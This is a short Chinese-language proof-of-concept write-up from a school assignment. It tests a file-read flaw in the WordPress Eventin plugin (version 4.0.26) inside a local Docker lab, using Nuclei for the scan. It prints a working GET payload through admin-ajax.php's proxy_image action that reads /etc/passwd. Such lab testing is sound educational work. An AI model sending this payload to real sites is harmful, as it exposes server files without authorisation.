此概念验证基于一项学校作业,我们想找到一个存在漏洞的 Wordpress 插件,并在本地受控环境中测试该漏洞。
| 信息 | |
|---|---|
| Wordpress 插件: | Wordpress Eventin |
| 插件版本: | 4.0.26(或更早版本) |
| CVE 信息: | Project Discovery - 漏洞库 |
| CVEdetails.com | |
| 相关工具: | Wordfence 实验室环境 |
| Docker | |
| Burp Suite | |
| Nuclei |
Worfence Docker WordPress Research Lab 附带两个不同的环境,其中一个使用较旧的 PHP 版本,我们将选择较新的那个。
# In the dockerwp84 folder
docker-compose build
docker-compose up -d
之后,我通过 localhost:1337 设置了 Wordpress 页面。我从插件商店下载 Eventin 插件,具体为 4.0.26 版本,然后通过 Wordpress 界面安装并激活它。
现在一切应该都准备就绪了。
我想看看 Nuclei 是否能找到我正在寻找的 CVE,因此我通过一个临时 docker 容器运行了一个实例。
docker run --rm projectdiscovery/nuclei -u http://host.docker.internal:1337
我尝试多次运行 Nuclei,得到了不同的结果,不确定原因。但最终它找到了 CVE,以及一些我并未专门搜索的其他内容。

为了看看我能否访问 /etc/passwd 文件,我只需将以下 payload 输入到我的 GET 请求中。
/wp-admin/admin-ajax.php?action=proxy_image&url=/etc/passwd
结果成功了。

这是出于教育目的而完成的。
请确保更新你所有的软件。每天都有新的 CVE 被发现。